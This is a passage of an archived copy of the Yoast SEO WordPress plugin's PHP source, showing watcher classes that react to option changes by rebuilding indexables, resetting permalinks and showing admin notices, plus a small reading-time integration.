			\delete_transient( Indexable_Post_Indexation_Action::UNINDEXED_LIMITED_COUNT_TRANSIENT );

			// Set this core option (introduced in WP 6.4) to ensure consistency.
			if ( \get_option( 'wp_attachment_pages_enabled' ) !== false ) {
				\update_option( 'wp_attachment_pages_enabled', (int) ! $new_value['disable-attachment'] );
			}

			switch ( $new_value['disable-attachment'] ) {
				case false:
					$this->indexing_helper->set_reason( Indexing_Reasons::REASON_ATTACHMENTS_MADE_ENABLED );
					return;
				case true:
					$this->attachment_cleanup->remove_attachment_indexables( false );
					$this->attachment_cleanup->clean_attachment_links_from_target_indexable_ids( false );

					if ( $this->indexable_helper->should_index_indexables() && ! \wp_next_scheduled( Cleanup_Integration::START_HOOK ) ) {
						// This just schedules the cleanup routine cron again.
						\wp_schedule_single_event( ( \time() + ( \MINUTE_IN_SECONDS * 5 ) ), Cleanup_Integration::START_HOOK );
					}
					return;
			}
		}
	}
}
wordpress-seo/src/integrations/watchers/indexable-category-permalink-watcher.php000064400000003364147510273100024375 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use WPSEO_Utils;
use Yoast\WP\SEO\Config\Indexing_Reasons;

/**
 * Watches the stripcategorybase key in wpseo_titles, in order to clear the permalink of the category indexables.
 */
class Indexable_Category_Permalink_Watcher extends Indexable_Permalink_Watcher {

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'update_option_wpseo_titles', [ $this, 'check_option' ], 10, 2 );
	}

	/**
	 * Checks if the stripcategorybase key in wpseo_titles has a change in value, and if so,
	 * clears the permalink for category indexables.
	 *
	 * @param array $old_value The old value of the wpseo_titles option.
	 * @param array $new_value The new value of the wpseo_titles option.
	 *
	 * @return void
	 */
	public function check_option( $old_value, $new_value ) {
		// If this is the first time saving the option, in which case its value would be false.
		if ( $old_value === false ) {
			$old_value = [];
		}

		// If either value is not an array, return.
		if ( ! \is_array( $old_value ) || ! \is_array( $new_value ) ) {
			return;
		}

		// If both values aren't set, they haven't changed.
		if ( ! isset( $old_value['stripcategorybase'] ) && ! isset( $new_value['stripcategorybase'] ) ) {
			return;
		}

		// If a new value has been set for 'stripcategorybase', clear the category permalinks.
		if ( $old_value['stripcategorybase'] !== $new_value['stripcategorybase'] ) {
			$this->indexable_helper->reset_permalink_indexables( 'term', 'category', Indexing_Reasons::REASON_CATEGORY_BASE_PREFIX );
			// Clear the rewrites, so the new permalink structure is used.
			WPSEO_Utils::clear_rewrites();
		}
	}
}
wordpress-seo/src/integrations/watchers/primary-category-quick-edit-watcher.php000064400000013062147510273100024176 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use WP_Post;
use WPSEO_Meta;
use Yoast\WP\SEO\Builders\Indexable_Hierarchy_Builder;
use Yoast\WP\SEO\Conditionals\Admin\Doing_Post_Quick_Edit_Save_Conditional;
use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Post_Type_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Repositories\Indexable_Repository;
use Yoast\WP\SEO\Repositories\Primary_Term_Repository;

/**
 * Class Primary_Category_Quick_Edit_Watcher
 */
class Primary_Category_Quick_Edit_Watcher implements Integration_Interface {

	/**
	 * Holds the options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options_helper;

	/**
	 * Holds the primary term repository.
	 *
	 * @var Primary_Term_Repository
	 */
	protected $primary_term_repository;

	/**
	 * The post type helper.
	 *
	 * @var Post_Type_Helper
	 */
	protected $post_type_helper;

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	protected $indexable_repository;

	/**
	 * The indexable hierarchy builder.
	 *
	 * @var Indexable_Hierarchy_Builder
	 */
	protected $indexable_hierarchy_builder;

	/**
	 * Primary_Category_Quick_Edit_Watcher constructor.
	 *
	 * @param Options_Helper              $options_helper              The options helper.
	 * @param Primary_Term_Repository     $primary_term_repository     The primary term repository.
	 * @param Post_Type_Helper            $post_type_helper            The post type helper.
	 * @param Indexable_Repository        $indexable_repository        The indexable repository.
	 * @param Indexable_Hierarchy_Builder $indexable_hierarchy_builder The indexable hierarchy repository.
	 */
	public function __construct(
		Options_Helper $options_helper,
		Primary_Term_Repository $primary_term_repository,
		Post_Type_Helper $post_type_helper,
		Indexable_Repository $indexable_repository,
		Indexable_Hierarchy_Builder $indexable_hierarchy_builder
	) {
		$this->options_helper              = $options_helper;
		$this->primary_term_repository     = $primary_term_repository;
		$this->post_type_helper            = $post_type_helper;
		$this->indexable_repository        = $indexable_repository;
		$this->indexable_hierarchy_builder = $indexable_hierarchy_builder;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'set_object_terms', [ $this, 'validate_primary_category' ], 10, 4 );
	}

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array The conditionals.
	 */
	public static function get_conditionals() {
		return [ Migrations_Conditional::class, Doing_Post_Quick_Edit_Save_Conditional::class ];
	}

	/**
	 * Validates if the current primary category is still present. If not just remove the post meta for it.
	 *
	 * @param int    $object_id Object ID.
	 * @param array  $terms     Unused. An array of object terms.
	 * @param array  $tt_ids    An array of term taxonomy IDs.
	 * @param string $taxonomy  Taxonomy slug.
	 *
	 * @return void
	 */
	public function validate_primary_category( $object_id, $terms, $tt_ids, $taxonomy ) {
		$post = \get_post( $object_id );
		if ( $post === null ) {
			return;
		}

		$main_taxonomy = $this->options_helper->get( 'post_types-' . $post->post_type . '-maintax' );
		if ( ! $main_taxonomy || $main_taxonomy === '0' ) {
			return;
		}

		if ( $main_taxonomy !== $taxonomy ) {
			return;
		}

		$primary_category = $this->get_primary_term_id( $post->ID, $main_taxonomy );
		if ( $primary_category === false ) {
			return;
		}

		// The primary category isn't removed.
		if ( \in_array( (string) $primary_category, $tt_ids, true ) ) {
			return;
		}

		$this->remove_primary_term( $post->ID, $main_taxonomy );

		// Rebuild the post hierarchy for this post now the primary term has been changed.
		$this->build_post_hierarchy( $post );
	}

	/**
	 * Returns the primary term id of a post.
	 *
	 * @param int    $post_id       The post ID.
	 * @param string $main_taxonomy The main taxonomy.
	 *
	 * @return int|false The ID of the primary term, or `false` if the post ID is invalid.
	 */
	private function get_primary_term_id( $post_id, $main_taxonomy ) {
		$primary_term = $this->primary_term_repository->find_by_post_id_and_taxonomy( $post_id, $main_taxonomy, false );

		if ( $primary_term ) {
			return $primary_term->term_id;
		}

		return \get_post_meta( $post_id, WPSEO_Meta::$meta_prefix . 'primary_' . $main_taxonomy, true );
	}

	/**
	 * Removes the primary category.
	 *
	 * @param int    $post_id       The post id to set primary taxonomy for.
	 * @param string $main_taxonomy Name of the taxonomy that is set to be the primary one.
	 *
	 * @return void
	 */
	private function remove_primary_term( $post_id, $main_taxonomy ) {
		$primary_term = $this->primary_term_repository->find_by_post_id_and_taxonomy( $post_id, $main_taxonomy, false );
		if ( $primary_term ) {
			$primary_term->delete();
		}

		// Remove it from the post meta.
		\delete_post_meta( $post_id, WPSEO_Meta::$meta_prefix . 'primary_' . $main_taxonomy );
	}

	/**
	 * Builds the hierarchy for a post.
	 *
	 * @param WP_Post $post The post.
	 *
	 * @return void
	 */
	public function build_post_hierarchy( $post ) {
		if ( $this->post_type_helper->is_excluded( $post->post_type ) ) {
			return;
		}

		$indexable = $this->indexable_repository->find_by_id_and_type( $post->ID, 'post' );

		if ( $indexable instanceof Indexable ) {
			$this->indexable_hierarchy_builder->build( $indexable );
		}
	}
}
wordpress-seo/src/integrations/watchers/indexable-homeurl-watcher.php000064400000005410147510273100022245 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use WP_CLI;
use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Config\Indexing_Reasons;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Post_Type_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Home url option watcher.
 *
 * Handles updates to the home URL option for the Indexables table.
 */
class Indexable_HomeUrl_Watcher implements Integration_Interface {

	/**
	 * Represents the options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options_helper;

	/**
	 * The post type helper.
	 *
	 * @var Post_Type_Helper
	 */
	private $post_type;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	protected $indexable_helper;

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Migrations_Conditional::class ];
	}

	/**
	 * Indexable_HomeUrl_Watcher constructor.
	 *
	 * @param Post_Type_Helper $post_type The post type helper.
	 * @param Options_Helper   $options   The options helper.
	 * @param Indexable_Helper $indexable The indexable helper.
	 */
	public function __construct( Post_Type_Helper $post_type, Options_Helper $options, Indexable_Helper $indexable ) {
		$this->post_type        = $post_type;
		$this->options_helper   = $options;
		$this->indexable_helper = $indexable;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'update_option_home', [ $this, 'reset_permalinks' ] );
		\add_action( 'wpseo_permalink_structure_check', [ $this, 'force_reset_permalinks' ] );
	}

	/**
	 * Resets the permalinks for everything that is related to the permalink structure.
	 *
	 * @return void
	 */
	public function reset_permalinks() {
		$this->indexable_helper->reset_permalink_indexables( null, null, Indexing_Reasons::REASON_HOME_URL_OPTION );

		// Reset the home_url option.
		$this->options_helper->set( 'home_url', \get_home_url() );
	}

	/**
	 * Resets the permalink indexables automatically, if necessary.
	 *
	 * @return bool Whether the request ran.
	 */
	public function force_reset_permalinks() {
		if ( $this->should_reset_permalinks() ) {
			$this->reset_permalinks();

			if ( \defined( 'WP_CLI' ) && \WP_CLI ) {
				WP_CLI::success( \__( 'All permalinks were successfully reset', 'wordpress-seo' ) );
			}

			return true;
		}

		return false;
	}

	/**
	 * Checks whether permalinks should be reset.
	 *
	 * @return bool Whether the permalinks should be reset.
	 */
	public function should_reset_permalinks() {
		return \get_home_url() !== $this->options_helper->get( 'home_url' );
	}
}
wordpress-seo/src/integrations/watchers/indexable-static-home-page-watcher.php000064400000004315147510273100023724 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Repositories\Indexable_Repository;

/**
 * Watcher that checks for changes in the page used as homepage.
 *
 * Watches the static homepage option and updates the permalinks accordingly.
 */
class Indexable_Static_Home_Page_Watcher implements Integration_Interface {

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	protected $repository;

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * Indexable_Static_Home_Page_Watcher constructor.
	 *
	 * @codeCoverageIgnore
	 *
	 * @param Indexable_Repository $repository The repository to use.
	 */
	public function __construct( Indexable_Repository $repository ) {
		$this->repository = $repository;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'update_option_page_on_front', [ $this, 'update_static_homepage_permalink' ], 10, 2 );
	}

	/**
	 * Updates the new and previous homepage's permalink when the static home page is updated.
	 *
	 * @param string $old_value The previous homepage's ID.
	 * @param int    $value     The new homepage's ID.
	 *
	 * @return void
	 */
	public function update_static_homepage_permalink( $old_value, $value ) {
		if ( \is_string( $old_value ) ) {
			$old_value = (int) $old_value;
		}

		if ( $old_value === $value ) {
			return;
		}

		$this->update_permalink_for_page( $old_value );
		$this->update_permalink_for_page( $value );
	}

	/**
	 * Updates the permalink based on the selected homepage settings.
	 *
	 * @param int $page_id The page's id.
	 *
	 * @return void
	 */
	private function update_permalink_for_page( $page_id ) {
		if ( $page_id === 0 ) {
			return;
		}

		$indexable = $this->repository->find_by_id_and_type( $page_id, 'post', false );

		if ( $indexable === false ) {
			return;
		}

		$indexable->permalink = \get_permalink( $page_id );

		$indexable->save();
	}
}
wordpress-seo/src/integrations/watchers/search-engines-discouraged-watcher.php000064400000015752147510273100024035 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Conditionals\No_Conditionals;
use Yoast\WP\SEO\Helpers\Capability_Helper;
use Yoast\WP\SEO\Helpers\Current_Page_Helper;
use Yoast\WP\SEO\Helpers\Notification_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Presenters\Admin\Search_Engines_Discouraged_Presenter;
use Yoast_Notification;
use Yoast_Notification_Center;

/**
 * Shows a notification for users who have access for robots disabled.
 */
class Search_Engines_Discouraged_Watcher implements Integration_Interface {

	use No_Conditionals;

	/**
	 * The notification ID.
	 */
	public const NOTIFICATION_ID = 'wpseo-search-engines-discouraged';

	/**
	 * The Yoast notification center.
	 *
	 * @var Yoast_Notification_Center
	 */
	protected $notification_center;

	/**
	 * The notification helper.
	 *
	 * @var Notification_Helper
	 */
	protected $notification_helper;

	/**
	 * The search engines discouraged presenter.
	 *
	 * @var Search_Engines_Discouraged_Presenter
	 */
	protected $presenter;

	/**
	 * The current page helper.
	 *
	 * @var Current_Page_Helper
	 */
	protected $current_page_helper;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options_helper;

	/**
	 * The capability helper.
	 *
	 * @var Capability_Helper
	 */
	protected $capability_helper;

	/**
	 * Search_Engines_Discouraged_Watcher constructor.
	 *
	 * @param Yoast_Notification_Center $notification_center The notification center.
	 * @param Notification_Helper       $notification_helper The notification helper.
	 * @param Current_Page_Helper       $current_page_helper The current page helper.
	 * @param Options_Helper            $options_helper      The options helper.
	 * @param Capability_Helper         $capability_helper   The capability helper.
	 */
	public function __construct(
		Yoast_Notification_Center $notification_center,
		Notification_Helper $notification_helper,
		Current_Page_Helper $current_page_helper,
		Options_Helper $options_helper,
		Capability_Helper $capability_helper
	) {
		$this->notification_center = $notification_center;
		$this->notification_helper = $notification_helper;
		$this->current_page_helper = $current_page_helper;
		$this->options_helper      = $options_helper;
		$this->capability_helper   = $capability_helper;
		$this->presenter           = new Search_Engines_Discouraged_Presenter();
	}

	/**
	 * Initializes the integration.
	 *
	 * On admin_init, it is checked whether the notification about search engines being discouraged should be shown.
	 * On admin_notices, the notice about the search engines being discouraged will be shown when necessary.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'admin_init', [ $this, 'manage_search_engines_discouraged_notification' ] );

		\add_action( 'update_option_blog_public', [ $this, 'restore_ignore_option' ] );

		/*
		 * The `admin_notices` hook fires on single site admin pages vs.
		 * `network_admin_notices` which fires on multisite admin pages and
		 * `user_admin_notices` which fires on multisite user admin pages.
		 */
		\add_action( 'admin_notices', [ $this, 'maybe_show_search_engines_discouraged_notice' ] );
	}

	/**
	 * Manage the search engines discouraged notification.
	 *
	 * Shows the notification if needed and deletes it if needed.
	 *
	 * @return void
	 */
	public function manage_search_engines_discouraged_notification() {
		if ( ! $this->should_show_search_engines_discouraged_notification() ) {
			$this->remove_search_engines_discouraged_notification_if_exists();
		}
		else {
			$this->maybe_add_search_engines_discouraged_notification();
		}
	}

	/**
	 * Show the search engine discouraged notice when needed.
	 *
	 * @return void
	 */
	public function maybe_show_search_engines_discouraged_notice() {
		if ( ! $this->should_show_search_engines_discouraged_notice() ) {
			return;
		}
		$this->show_search_engines_discouraged_notice();
	}

	/**
	 * Whether the search engines discouraged notification should be shown.
	 *
	 * @return bool
	 */
	protected function should_show_search_engines_discouraged_notification() {
		return $this->search_engines_are_discouraged() && $this->options_helper->get( 'ignore_search_engines_discouraged_notice', false ) === false;
	}

	/**
	 * Remove the search engines discouraged notification if it exists.
	 *
	 * @return void
	 */
	protected function remove_search_engines_discouraged_notification_if_exists() {
		$this->notification_center->remove_notification_by_id( self::NOTIFICATION_ID );
	}

	/**
	 * Add the search engines discouraged notification if it does not exist yet.
	 *
	 * @return void
	 */
	protected function maybe_add_search_engines_discouraged_notification() {
		if ( ! $this->notification_center->get_notification_by_id( self::NOTIFICATION_ID ) ) {
			$notification = $this->notification();
			$this->notification_helper->restore_notification( $notification );
			$this->notification_center->add_notification( $notification );
		}
	}

	/**
	 * Checks whether search engines are discouraged from indexing the site.
	 *
	 * @return bool Whether search engines are discouraged from indexing the site.
	 */
	protected function search_engines_are_discouraged() {
		return (string) \get_option( 'blog_public' ) === '0';
	}

	/**
	 * Whether the search engines notice should be shown.
	 *
	 * @return bool
	 */
	protected function should_show_search_engines_discouraged_notice() {
		$pages_to_show_notice = [
			'index.php',
			'plugins.php',
			'update-core.php',
		];

		return (
			$this->search_engines_are_discouraged()
			&& $this->capability_helper->current_user_can( 'manage_options' )
			&& $this->options_helper->get( 'ignore_search_engines_discouraged_notice', false ) === false
			&& (
				$this->current_page_helper->is_yoast_seo_page()
				|| \in_array( $this->current_page_helper->get_current_admin_page(), $pages_to_show_notice, true )
			)
			&& $this->current_page_helper->get_current_yoast_seo_page() !== 'wpseo_dashboard'
		);
	}

	/**
	 * Show the search engines discouraged notice.
	 *
	 * @return void
	 */
	protected function show_search_engines_discouraged_notice() {
		\printf(
			'<div id="robotsmessage" class="notice notice-error">%1$s</div>',
			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output from present() is considered safe.
			$this->presenter->present()
		);
	}

	/**
	 * Returns an instance of the notification.
	 *
	 * @return Yoast_Notification The notification to show.
	 */
	protected function notification() {
		return new Yoast_Notification(
			$this->presenter->present(),
			[
				'type'         => Yoast_Notification::ERROR,
				'id'           => self::NOTIFICATION_ID,
				'capabilities' => 'wpseo_manage_options',
				'priority'     => 1,
			]
		);
	}

	/**
	 * Should restore the ignore option for the search engines discouraged notice.
	 *
	 * @return void
	 */
	public function restore_ignore_option() {
		if ( ! $this->search_engines_are_discouraged() ) {
			$this->options_helper->set( 'ignore_search_engines_discouraged_notice', false );
		}
	}
}
wordpress-seo/src/integrations/watchers/indexable-date-archive-watcher.php000064400000005035147510273100023131 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Builders\Indexable_Builder;
use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Repositories\Indexable_Repository;

/**
 * Date archive watcher to save the meta data to an indexable.
 *
 * Watches the date archive options to save the meta information when updated.
 */
class Indexable_Date_Archive_Watcher implements Integration_Interface {

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	protected $repository;

	/**
	 * The indexable builder.
	 *
	 * @var Indexable_Builder
	 */
	protected $builder;

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Migrations_Conditional::class ];
	}

	/**
	 * Indexable_Date_Archive_Watcher constructor.
	 *
	 * @param Indexable_Repository $repository The repository to use.
	 * @param Indexable_Builder    $builder    The date archive builder to use.
	 */
	public function __construct( Indexable_Repository $repository, Indexable_Builder $builder ) {
		$this->repository = $repository;
		$this->builder    = $builder;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'update_option_wpseo_titles', [ $this, 'check_option' ], 10, 2 );
	}

	/**
	 * Checks if the date archive indexable needs to be rebuild based on option values.
	 *
	 * @param array $old_value The old value of the option.
	 * @param array $new_value The new value of the option.
	 *
	 * @return void
	 */
	public function check_option( $old_value, $new_value ) {
		$relevant_keys = [ 'title-archive-wpseo', 'breadcrumbs-archiveprefix', 'metadesc-archive-wpseo', 'noindex-archive-wpseo' ];

		foreach ( $relevant_keys as $key ) {
			// If both values aren't set they haven't changed.
			if ( ! isset( $old_value[ $key ] ) && ! isset( $new_value[ $key ] ) ) {
				continue;
			}

			// If the value was set but now isn't, is set but wasn't or is not the same it has changed.
			if ( ! isset( $old_value[ $key ] ) || ! isset( $new_value[ $key ] ) || $old_value[ $key ] !== $new_value[ $key ] ) {
				$this->build_indexable();
				return;
			}
		}
	}

	/**
	 * Saves the date archive.
	 *
	 * @return void
	 */
	public function build_indexable() {
		$indexable = $this->repository->find_for_date_archive( false );
		$this->builder->build_for_date_archive( $indexable );
	}
}
wordpress-seo/src/integrations/watchers/indexable-home-page-watcher.php000064400000007066147510273100022445 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Builders\Indexable_Builder;
use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Repositories\Indexable_Repository;

/**
 * Home page watcher to save the meta data to an Indexable.
 *
 * Watches the home page options to save the meta information when updated.
 */
class Indexable_Home_Page_Watcher implements Integration_Interface {

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	protected $repository;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	protected $indexable_helper;

	/**
	 * The indexable builder.
	 *
	 * @var Indexable_Builder
	 */
	protected $builder;

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Migrations_Conditional::class ];
	}

	/**
	 * Indexable_Home_Page_Watcher constructor.
	 *
	 * @param Indexable_Repository $repository       The repository to use.
	 * @param Indexable_Helper     $indexable_helper The indexable helper.
	 * @param Indexable_Builder    $builder          The post builder to use.
	 */
	public function __construct(
		Indexable_Repository $repository,
		Indexable_Helper $indexable_helper,
		Indexable_Builder $builder
	) {
		$this->repository       = $repository;
		$this->indexable_helper = $indexable_helper;
		$this->builder          = $builder;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'update_option_wpseo_titles', [ $this, 'check_option' ], 15, 3 );
		\add_action( 'update_option_wpseo_social', [ $this, 'check_option' ], 15, 3 );
		\add_action( 'update_option_blog_public', [ $this, 'build_indexable' ] );
		\add_action( 'update_option_blogdescription', [ $this, 'build_indexable' ] );
	}

	/**
	 * Checks if the home page indexable needs to be rebuild based on option values.
	 *
	 * @param array  $old_value The old value of the option.
	 * @param array  $new_value The new value of the option.
	 * @param string $option    The name of the option.
	 *
	 * @return void
	 */
	public function check_option( $old_value, $new_value, $option ) {
		$relevant_keys = [
			'wpseo_titles' => [
				'title-home-wpseo',
				'breadcrumbs-home',
				'metadesc-home-wpseo',
				'open_graph_frontpage_title',
				'open_graph_frontpage_desc',
				'open_graph_frontpage_image',
			],
		];

		if ( ! isset( $relevant_keys[ $option ] ) ) {
			return;
		}

		foreach ( $relevant_keys[ $option ] as $key ) {
			// If both values aren't set they haven't changed.
			if ( ! isset( $old_value[ $key ] ) && ! isset( $new_value[ $key ] ) ) {
				continue;
			}

			// If the value was set but now isn't, is set but wasn't or is not the same it has changed.
			if ( ! isset( $old_value[ $key ] ) || ! isset( $new_value[ $key ] ) || $old_value[ $key ] !== $new_value[ $key ] ) {
				$this->build_indexable();
				return;
			}
		}
	}

	/**
	 * Saves the home page.
	 *
	 * @return void
	 */
	public function build_indexable() {
		$indexable = $this->repository->find_for_home_page( false );

		if ( $indexable === false && ! $this->indexable_helper->should_index_indexables() ) {
			return;
		}

		$indexable = $this->builder->build_for_home_page( $indexable );

		if ( $indexable ) {
			$indexable->object_last_modified = \max( $indexable->object_last_modified, \current_time( 'mysql' ) );
			$indexable->save();
		}
	}
}
wordpress-seo/src/integrations/watchers/indexable-taxonomy-change-watcher.php000064400000012070147510273100023673 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Actions\Indexing\Indexable_Term_Indexation_Action;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Conditionals\Not_Admin_Ajax_Conditional;
use Yoast\WP\SEO\Config\Indexing_Reasons;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Helpers\Indexing_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Taxonomy_Helper;
use Yoast\WP\SEO\Integrations\Cleanup_Integration;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast_Notification_Center;

/**
 * Taxonomy watcher.
 *
 * Responds to changes in taxonomies public availability.
 */
class Indexable_Taxonomy_Change_Watcher implements Integration_Interface {

	/**
	 * The indexing helper.
	 *
	 * @var Indexing_Helper
	 */
	protected $indexing_helper;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	protected $indexable_helper;

	/**
	 * Holds the Options_Helper instance.
	 *
	 * @var Options_Helper
	 */
	private $options;

	/**
	 * Holds the Taxonomy_Helper instance.
	 *
	 * @var Taxonomy_Helper
	 */
	private $taxonomy_helper;

	/**
	 * The notifications center.
	 *
	 * @var Yoast_Notification_Center
	 */
	private $notification_center;

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array<string> The conditionals.
	 */
	public static function get_conditionals() {
		return [ Not_Admin_Ajax_Conditional::class, Admin_Conditional::class, Migrations_Conditional::class ];
	}

	/**
	 * Indexable_Taxonomy_Change_Watcher constructor.
	 *
	 * @param Indexing_Helper           $indexing_helper     The indexing helper.
	 * @param Options_Helper            $options             The options helper.
	 * @param Taxonomy_Helper           $taxonomy_helper     The taxonomy helper.
	 * @param Yoast_Notification_Center $notification_center The notification center.
	 * @param Indexable_Helper          $indexable_helper    The indexable helper.
	 */
	public function __construct(
		Indexing_Helper $indexing_helper,
		Options_Helper $options,
		Taxonomy_Helper $taxonomy_helper,
		Yoast_Notification_Center $notification_center,
		Indexable_Helper $indexable_helper
	) {
		$this->indexing_helper     = $indexing_helper;
		$this->options             = $options;
		$this->taxonomy_helper     = $taxonomy_helper;
		$this->notification_center = $notification_center;
		$this->indexable_helper    = $indexable_helper;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'admin_init', [ $this, 'check_taxonomy_public_availability' ] );
	}

	/**
	 * Checks if one or more taxonomies change visibility.
	 *
	 * @return void
	 */
	public function check_taxonomy_public_availability() {

		// We have to make sure this is just a plain http request, no ajax/REST.
		if ( \wp_is_json_request() ) {
			return;
		}

		$public_taxonomies = $this->taxonomy_helper->get_indexable_taxonomies();

		$last_known_public_taxonomies = $this->options->get( 'last_known_public_taxonomies', [] );

		// Initializing the option on the first run.
		if ( empty( $last_known_public_taxonomies ) ) {
			$this->options->set( 'last_known_public_taxonomies', $public_taxonomies );
			return;
		}

		// We look for new public taxonomies.
		$newly_made_public_taxonomies = \array_diff( $public_taxonomies, $last_known_public_taxonomies );

		// We look fortaxonomies that from public have been made private.
		$newly_made_non_public_taxonomies = \array_diff( $last_known_public_taxonomies, $public_taxonomies );

		// Nothing to be done if no changes has been made to taxonomies.
		if ( empty( $newly_made_public_taxonomies ) && ( empty( $newly_made_non_public_taxonomies ) ) ) {
			return;
		}

		// Update the list of last known public taxonomies in the database.
		$this->options->set( 'last_known_public_taxonomies', $public_taxonomies );

		// There are new taxonomies that have been made public.
		if ( ! empty( $newly_made_public_taxonomies ) ) {

			// Force a notification requesting to start the SEO data optimization.
			\delete_transient( Indexable_Term_Indexation_Action::UNINDEXED_COUNT_TRANSIENT );
			\delete_transient( Indexable_Term_Indexation_Action::UNINDEXED_LIMITED_COUNT_TRANSIENT );

			$this->indexing_helper->set_reason( Indexing_Reasons::REASON_TAXONOMY_MADE_PUBLIC );
			\do_action( 'new_public_taxonomy_notifications', $newly_made_public_taxonomies );
		}

		// There are taxonomies that have been made private.
		if ( ! empty( $newly_made_non_public_taxonomies ) && $this->indexable_helper->should_index_indexables() ) {
			// Schedule a cron job to remove all the terms whose taxonomy has been made private.
			$cleanup_not_yet_scheduled = ! \wp_next_scheduled( Cleanup_Integration::START_HOOK );
			if ( $cleanup_not_yet_scheduled ) {
				\wp_schedule_single_event( ( \time() + ( \MINUTE_IN_SECONDS * 5 ) ), Cleanup_Integration::START_HOOK );
			}

			\do_action( 'clean_new_public_taxonomy_notifications', $newly_made_non_public_taxonomies );
		}
	}
}
wordpress-seo/src/integrations/estimated-reading-time.php000064400000002127147510273100017712 0ustar00<?php

namespace Yoast\WP\SEO\Integrations;

use Yoast\WP\SEO\Conditionals\Admin\Estimated_Reading_Time_Conditional;

/**
 * Estimated reading time class.
 */
class Estimated_Reading_Time implements Integration_Interface {

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Estimated_Reading_Time_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'wpseo_metabox_entries_general', [ $this, 'add_estimated_reading_time_hidden_fields' ] );
	}

	/**
	 * Adds an estimated-reading-time hidden field.
	 *
	 * @param array $field_defs The $fields_defs.
	 *
	 * @return array
	 */
	public function add_estimated_reading_time_hidden_fields( $field_defs ) {
		if ( \is_array( $field_defs ) ) {
			$field_defs['estimated-reading-time-minutes'] = [
				'type'  => 'hidden',
				'title' => 'estimated-reading-time-minutes',
			];
		}

		return $field_defs;
	}
}
